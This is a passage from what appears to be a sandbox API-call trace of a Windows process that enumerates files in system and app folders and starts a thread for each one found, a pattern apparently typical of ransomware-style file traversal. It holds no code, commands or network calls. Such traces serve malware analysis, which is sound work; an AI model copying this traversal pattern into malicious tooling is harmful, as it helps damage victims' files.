	[0089.666] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x291e9ee7, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x291e9ee7, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xbc53e837, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SH8EDE~1.BIN")) returned 1
	[0089.666] wcscmp (_String1="SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.666] wcscmp (_String1="SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.666] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4777e60
	[0089.666] wcscpy (in: _Dest=0x4777e60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.666] wcscat (in: _Dest=0x4777e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.666] wcscat (in: _Dest=0x4777e60, _Source="SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce8
	[0089.666] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa53a1f04, ftCreationTime.dwHighDateTime=0x1d461f2, ftLastAccessTime.dwLowDateTime=0xa53a1f04, ftLastAccessTime.dwHighDateTime=0x1d461f2, ftLastWriteTime.dwLowDateTime=0xc1465998, ftLastWriteTime.dwHighDateTime=0x1d461f2, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-10~2.BIN")) returned 1
	[0089.666] wcscmp (_String1="SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.666] wcscmp (_String1="SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.667] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4776860
	[0089.667] wcscpy (in: _Dest=0x4776860, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.667] wcscat (in: _Dest=0x4776860, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.667] wcscat (in: _Dest=0x4776860, _Source="SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4776860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cec
	[0089.667] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24b95208, ftCreationTime.dwHighDateTime=0x1d461fa, ftLastAccessTime.dwLowDateTime=0x24b95208, ftLastAccessTime.dwHighDateTime=0x1d461fa, ftLastWriteTime.dwLowDateTime=0x41cd2745, ftLastWriteTime.dwHighDateTime=0x1d461fa, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-10~3.BIN")) returned 1
	[0089.667] wcscmp (_String1="SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.667] wcscmp (_String1="SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.667] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4776960
	[0089.667] wcscpy (in: _Dest=0x4776960, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.667] wcscat (in: _Dest=0x4776960, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.667] wcscat (in: _Dest=0x4776960, _Source="SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4776960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf0
	[0089.668] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8d5846d, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xb8d5846d, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xcd7cd567, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-10~1.BIN")) returned 1
	[0089.668] wcscmp (_String1="SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.668] wcscmp (_String1="SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.668] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4777560
	[0089.668] wcscpy (in: _Dest=0x4777560, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.668] wcscat (in: _Dest=0x4777560, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.668] wcscat (in: _Dest=0x4777560, _Source="SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf4
	[0089.669] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e427524, ftCreationTime.dwHighDateTime=0x1d47c27, ftLastAccessTime.dwLowDateTime=0x4e427524, ftLastAccessTime.dwHighDateTime=0x1d47c27, ftLastWriteTime.dwLowDateTime=0x76bc81c5, ftLastWriteTime.dwHighDateTime=0x1d47c27, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-11~3.BIN")) returned 1
	[0089.669] wcscmp (_String1="SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.669] wcscmp (_String1="SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4777f60
	[0089.669] wcscpy (in: _Dest=0x4777f60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.669] wcscat (in: _Dest=0x4777f60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.669] wcscat (in: _Dest=0x4777f60, _Source="SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf8
	[0089.669] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41355b6d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x41355b6d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x7313b7f3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-11~4.BIN")) returned 1
	[0089.669] wcscmp (_String1="SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.669] wcscmp (_String1="SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.669] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4777460
	[0089.669] wcscpy (in: _Dest=0x4777460, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.669] wcscat (in: _Dest=0x4777460, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.669] wcscat (in: _Dest=0x4777460, _Source="SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cfc
	[0089.670] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc44ebf9e, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xc44ebf9e, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf7186f57, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHFCB7~1.BIN")) returned 1
	[0089.670] wcscmp (_String1="SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.670] wcscmp (_String1="SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.670] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4777660
	[0089.670] wcscpy (in: _Dest=0x4777660, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.670] wcscat (in: _Dest=0x4777660, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.670] wcscat (in: _Dest=0x4777660, _Source="SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d00
	[0089.671] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x444f8b5f, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x444f8b5f, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x57b398d2, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-11~1.BIN")) returned 1
	[0089.671] wcscmp (_String1="SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.671] wcscmp (_String1="SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.671] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4776d60
	[0089.671] wcscpy (in: _Dest=0x4776d60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.671] wcscat (in: _Dest=0x4776d60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.671] wcscat (in: _Dest=0x4776d60, _Source="SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4776d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d04
	[0089.671] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69870cf2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x69870cf2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x13731c69, ftLastWriteTime.dwHighDateTime=0x1d35e04, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-11~2.BIN")) returned 1
	[0089.671] wcscmp (_String1="SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.671] wcscmp (_String1="SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.671] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4777060
	[0089.671] wcscpy (in: _Dest=0x4777060, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.672] wcscat (in: _Dest=0x4777060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.672] wcscat (in: _Dest=0x4777060, _Source="SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d08
	[0089.672] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69870cf2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x69870cf2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x13731c69, ftLastWriteTime.dwHighDateTime=0x1d35e04, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-11~2.BIN")) returned 0
	[0089.672] FindClose (in: hFindFile=0x477b5a8 | out: hFindFile=0x477b5a8) returned 1
	[0089.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f27548) returned 1
	[0089.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83120) returned 1
	[0089.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47534d0) returned 1

Thread:
	id = 1227
	os_tid = 0x1f98

	[0087.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4779760
	[0087.915] wcscpy (in: _Dest=0x4779760, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font"
	[0087.915] wcscat (in: _Dest=0x4779760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\"
	[0087.916] wcscat (in: _Dest=0x4779760, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\*"
	[0087.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f277b0
	[0087.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\*", lpFindFileData=0x4f277b0 | out: lpFindFileData=0x4f277b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa292432, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b5e8
	[0087.916] wcscmp (_String1=".", _String2=".") returned 0
	[0087.916] FindNextFileW (in: hFindFile=0x477b5e8, lpFindFileData=0x4f277b0 | out: lpFindFileData=0x4f277b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa292432, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.916] wcscmp (_String1="..", _String2=".") returned 1
	[0087.916] wcscmp (_String1="..", _String2="..") returned 0
	[0087.916] FindNextFileW (in: hFindFile=0x477b5e8, lpFindFileData=0x4f277b0 | out: lpFindFileData=0x4f277b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77bb9eb0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xcdcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNMDL2.ttf", cAlternateFileName="")) returned 1
	[0087.916] wcscmp (_String1="MSNMDL2.ttf", _String2=".") returned 1
	[0087.916] wcscmp (_String1="MSNMDL2.ttf", _String2="..") returned 1
	[0087.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x500c440
	[0087.916] wcscpy (in: _Dest=0x500c440, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font"
	[0087.916] wcscat (in: _Dest=0x500c440, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\"
	[0087.916] wcscat (in: _Dest=0x500c440, _Source="MSNMDL2.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf"
	[0089.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500c440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b24
	[0089.645] FindNextFileW (in: hFindFile=0x477b5e8, lpFindFileData=0x4f277b0 | out: lpFindFileData=0x4f277b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77bb9eb0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xf530, dwReserved0=0x0, dwReserved1=0x0, cFileName="WeatherColorIcons.ttf", cAlternateFileName="")) returned 1
	[0089.645] wcscmp (_String1="WeatherColorIcons.ttf", _String2=".") returned 1
	[0089.645] wcscmp (_String1="WeatherColorIcons.ttf", _String2="..") returned 1
	[0089.645] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2e02570
	[0089.645] wcscpy (in: _Dest=0x2e02570, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font"
	[0089.645] wcscat (in: _Dest=0x2e02570, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\"
